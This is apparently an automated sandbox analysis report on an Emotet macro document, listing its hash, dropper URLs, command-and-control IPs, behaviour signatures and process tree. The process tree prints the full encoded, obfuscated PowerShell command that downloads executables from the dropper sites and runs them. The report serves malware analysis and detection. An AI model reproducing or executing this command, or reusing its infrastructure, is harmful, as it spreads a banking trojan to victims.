Analysis
- max time kernel
136s - max time network
132s - platform
windows10_x64 - resource
win10 - submitted
28/09/2020, 19:58
General
- Target emotet_e1_a0e2b2e8156f518733940d037cc511d0fb14dd4a37a0123d5c3379142d8e00ae_2020-09-28__195425480732._doc.doc
- Size 148KB
- Sample200928-49tlejgk3e
- SHA256 a0e2b2e8156f518733940d037cc511d0fb14dd4a37a0123d5c3379142d8e00ae
Score
10/10
Malware Config
Extracted
Language
-
ps1
Source
URLs
-
exe.dropper
http://voguefitz.com/wp-content/se/
-
exe.dropper
http://www.coop-yeboekon.net/wp-admin/w/
-
exe.dropper
https://hotelunique.com/cardapios/T8U/
-
exe.dropper
https://prafulloorja.org/2wvl/P/
-
exe.dropper
http://turbineseuperfil.online/sitetarget/7G/
-
exe.dropper
http://guarany.net/zefiro/DDI/
-
exe.dropper
https://fairplay.company/wp-includes/00/
Extracted
Family
-
emotet
C2
-
128.92.203.42:80
-
37.187.161.206:8080
-
202.29.239.162:443
-
80.87.201.221:7080
-
190.188.245.242:80
-
12.163.208.58:80
-
213.197.182.158:8080
-
201.213.177.139:80
-
62.84.75.50:80
-
45.33.77.42:8080
-
185.183.16.47:80
-
78.249.119.122:80
-
177.129.17.170:443
-
51.15.7.189:80
-
152.169.22.67:80
-
119.106.216.84:80
-
109.169.12.78:80
-
51.15.7.145:80
-
219.92.13.25:80
-
190.117.79.209:80
rsa_pubkey.plain
Signatures
- Emotet
Emotet is a trojan that is primarily spread through spam emails.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Emotet Payload 8 IoCs
Detects Emotet payload in memory.
- Blacklisted process makes network request 1 IoCs
- Executes dropped EXE 2 IoCs
- Drops file in System32 directory 1 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 7 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 9 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_a0e2b2e8156f518733940d037cc511d0fb14dd4a37a0123d5c3379142d8e00ae_2020-09-28__195425480732._doc.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exePOwersheLL -ENCOD JABHAGgAYgBqAGwAagB3AD0AKAAoACcATgBfACcAKwAnAGYAJwApACsAKAAnAHQANQAnACsAJwBmADcAJwApACkAOwAmACgAJwBuAGUAdwAtAGkAJwArACcAdABlACcAKwAnAG0AJwApACAAJABFAE4AVgA6AFUAcwBFAFIAcABSAG8AZgBpAEwAZQBcAG8AbABnAFQAUQBmAFMAXAB3AEQAQQA1AFAAZwBuAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQAaQByAEUAQwBUAG8AUgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwBVAFIAYABJAFQAWQBgAFAAYABSAE8AdABvAGMAYABPAGwAIgAgAD0AIAAoACcAdAAnACsAKAAnAGwAcwAnACsAJwAxADIAJwApACsAJwAsACAAJwArACgAJwB0AGwAJwArACcAcwAnACkAKwAoACcAMQAxACcAKwAnACwAIAAnACkAKwAoACcAdABsACcAKwAnAHMAJwApACkAOwAkAEgAYQB2AGkAOABrAGwAIAA9ACAAKAAoACcAUAAnACsAJwB0ADgAJwApACsAKAAnAGkAJwArACcAegBzACcAKQArACgAJwA4AHYAJwArACcANQAnACkAKQA7ACQAVAB1AHkAdwB5AGUAeQA9ACgAKAAnAFoAegAnACsAJwBqAGIAJwApACsAJwB5AG0AJwArACcAegAnACkAOwAkAFMAbQBwAHgAeQB6AHEAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAZwAnACsAKAAnAHYAJwArACcATQBPACcAKQArACgAJwBsAGcAdAAnACsAJwBxACcAKQArACgAJwBmAHMAZwB2ACcAKwAnAE0AVwBkACcAKwAnAGEAJwApACsAKAAnADUAJwArACcAcABnACcAKQArACgAJwBuAGcAdgAnACsAJwBNACcAKQApAC4AIgBSAGUAcABsAGAAQQBjAGUAIgAoACgAJwBnACcAKwAnAHYATQAnACkALAAnAFwAJwApACkAKwAkAEgAYQB2AGkAOABrAGwAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAEEAcQBhAF8AawAxAGkAPQAoACgAJwBGADgAagAnACsAJwBlAGMAJwApACsAJwAzACcAKwAnAGwAJwApADsAJABRAGsAdQAyAHcAMQA3AD0AJgAoACcAbgBlAHcAJwArACcALQBvAGIAagBlACcAKwAnAGMAJwArACcAdAAnACkAIABuAGUAVAAuAHcARQBCAEMATABpAGUAbgB0ADsAJABGADAAYwBxAHUAbwBvAD0AKAAoACcAaAB0AHQAcAA6ACcAKwAnAC8AJwApACsAKAAnAC8AdgAnACsAJwBvACcAKQArACcAZwAnACsAKAAnAHUAJwArACcAZQBmAGkAdAAnACkAKwAnAHoAJwArACgAJwAuACcAKwAnAGMAbwAnACkAKwAoACcAbQAnACsAJwAvAHcAcAAnACkAKwAnAC0AYwAnACsAKAAnAG8AJwArACcAbgB0AGUAJwApACsAJwBuACcAKwAnAHQALwAnACsAJwBzACcAKwAoACcAZQAvACcAKwAnACoAJwApACsAKAAnAGgAJwArACcAdAB0ACcAKQArACgAJwBwADoALwAvACcAKwAnAHcAJwArACcAdwAnACkAKwAnAHcAJwArACcALgAnACsAJwBjAG8AJwArACcAbwAnACsAKAAnAHAALQB5ACcAKwAnAGUAYgAnACsAJwBvAGUAawBvACcAKQArACcAbgAnACsAKAAnAC4AJwArACcAbgBlAHQALwAnACsAJwB3ACcAKQArACcAcAAtACcAKwAoACcAYQAnACsAJwBkAG0AJwApACsAJwBpACcAKwAoACcAbgAvAHcALwAqAGgAdAAnACsAJwB0ACcAKQArACcAcAAnACsAJwBzADoAJwArACgAJwAvAC8AJwArACcAaAAnACkAKwAoACcAbwB0AGUAJwArACcAbAB1AG4AJwApACsAKAAnAGkAcQAnACsAJwB1AGUALgBjAG8AJwApACsAKAAnAG0AJwArACcALwBjAGEAcgAnACkAKwAoACcAZABhAHAAaQBvACcAKwAnAHMAJwApACsAJwAvACcAKwAnAFQAJwArACgAJwA4AFUAJwArACcALwAnACkAKwAnACoAaAAnACsAJwB0ACcAKwAoACcAdAAnACsAJwBwACcAKwAnAHMAOgAvAC8AcAByAGEAJwApACsAJwBmAHUAJwArACgAJwBsAGwAJwArACcAbwBvAHIAJwApACsAKAAnAGoAYQAnACsAJwAuACcAKQArACgAJwBvAHIAZwAnACsAJwAvADIAdwAnACkAKwAoACcAdgBsAC8AUAAnACsAJwAvACoAJwArACcAaAAnACkAKwAoACcAdAB0AHAAOgAvAC8AJwArACcAdAB1ACcAKwAnAHIAJwApACsAKAAnAGIAJwArACcAaQBuACcAKQArACgAJwBlACcAKwAnAHMAZQB1AHAAJwApACsAJwBlACcAKwAnAHIAJwArACcAZgAnACsAKAAnAGkAJwArACcAbAAuAG8AbgBsAGkAbgAnACkAKwAoACcAZQAvAHMAJwArACcAaQB0ACcAKQArACgAJwBlAHQAYQByACcAKwAnAGcAZQAnACsAJwB0AC8AJwApACsAJwA3AEcAJwArACgAJwAvACcAKwAnACoAaAB0AHQAJwApACsAKAAnAHAAJwArACcAOgAvACcAKwAnAC8AZwB1ACcAKQArACgAJwBhAHIAJwArACcAYQBuAHkAJwApACsAKAAnAC4AbgBlAHQALwB6ACcAKwAnAGUAJwApACsAJwBmAGkAJwArACgAJwByAG8AJwArACcALwAnACkAKwAnAEQARAAnACsAKAAnAEkALwAnACsAJwAqAGgAJwApACsAJwB0ACcAKwAoACcAdABwAHMAOgAnACsAJwAvACcAKwAnAC8AJwApACsAJwBmACcAKwAoACcAYQAnACsAJwBpAHIAJwApACsAJwBwACcAKwAoACcAbABhAHkAJwArACcALgBjACcAKwAnAG8AbQAnACkAKwAoACcAcABhAG4AJwArACcAeQAnACkAKwAnAC8AdwAnACsAKAAnAHAALQAnACsAJwBpAG4AJwApACsAKAAnAGMAbAB1ACcAKwAnAGQAZQBzACcAKQArACcALwAnACsAJwAwACcAKwAnADAALwAnACkALgAiAFMAcABgAGwAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQATABhAHIAYwA3ADgAbAA9ACgAKAAnAFcAYQAnACsAJwBoACcAKQArACgAJwBnADEAJwArACcAdQA2ACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQARwA5AHMAcgB0ADcAYQAgAGkAbgAgACQARgAwAGMAcQB1AG8AbwApAHsAdAByAHkAewAkAFEAawB1ADIAdwAxADcALgAiAEQAbwBXAGAATgBMAG8AYQBkAGAARgBgAEkATABFACIAKAAkAEcAOQBzAHIAdAA3AGEALAAgACQAUwBtAHAAeAB5AHoAcQApADsAJABOAGMAcgBxAHYANgBhAD0AKAAnAEkAJwArACgAJwB4AHAAMwA3ACcAKwAnAHQAMgAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAnACsAJwAtAEkAJwArACcAdABlAG0AJwApACAAJABTAG0AcAB4AHkAegBxACkALgAiAEwAZQBgAE4ARwBUAGgAIgAgAC0AZwBlACAAMgA0ADAAMgAwACkAIAB7ACYAKAAnAEkAbgAnACsAJwB2AG8AawAnACsAJwBlACcAKwAnAC0ASQB0AGUAbQAnACkAKAAkAFMAbQBwAHgAeQB6AHEAKQA7ACQAVQB3AHkANgB4ADMAZQA9ACgAKAAnAFoAZQBqACcAKwAnAHMAJwApACsAJwBjACcAKwAnAG0AeQAnACkAOwBiAHIAZQBhAGsAOwAkAFIAdwBhAGsANwA3AHcAPQAoACcATAAyACcAKwAnAGoAcgAnACsAKAAnAHUAZQAnACsAJwBsACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABaADMAOAAwAGcAMgA3AD0AKAAnAEkAbAAnACsAKAAnAHYAMQAnACsAJwAyAHUAJwApACsAJwBpACcAKQA=1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\Olgtqfs\Wda5pgn\Pt8izs8v5.exe"C:\Users\Admin\Olgtqfs\Wda5pgn\Pt8izs8v5.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\MirrorDrvCompat\BrowserSettingSync.exe"C:\Windows\SysWOW64\MirrorDrvCompat\BrowserSettingSync.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/2120-10-0x0000025D5E830000-0x0000025D5E831000-memory.dmp
memory/2120-9-0x0000025D46620000-0x0000025D46621000-memory.dmp
memory/2120-8-0x00007FF8810E0000-0x00007FF881ACC000-memory.dmp
memory/2368-14-0x00000000001C0000-0x00000000001D2000-memory.dmp
memory/2368-15-0x00000000001E0000-0x00000000001F0000-memory.dmp
memory/2780-18-0x0000000000480000-0x0000000000492000-memory.dmp
memory/2780-19-0x00000000004B0000-0x00000000004C0000-memory.dmp
memory/3888-0-0x00007FF888680000-0x00007FF888D46000-memory.dmp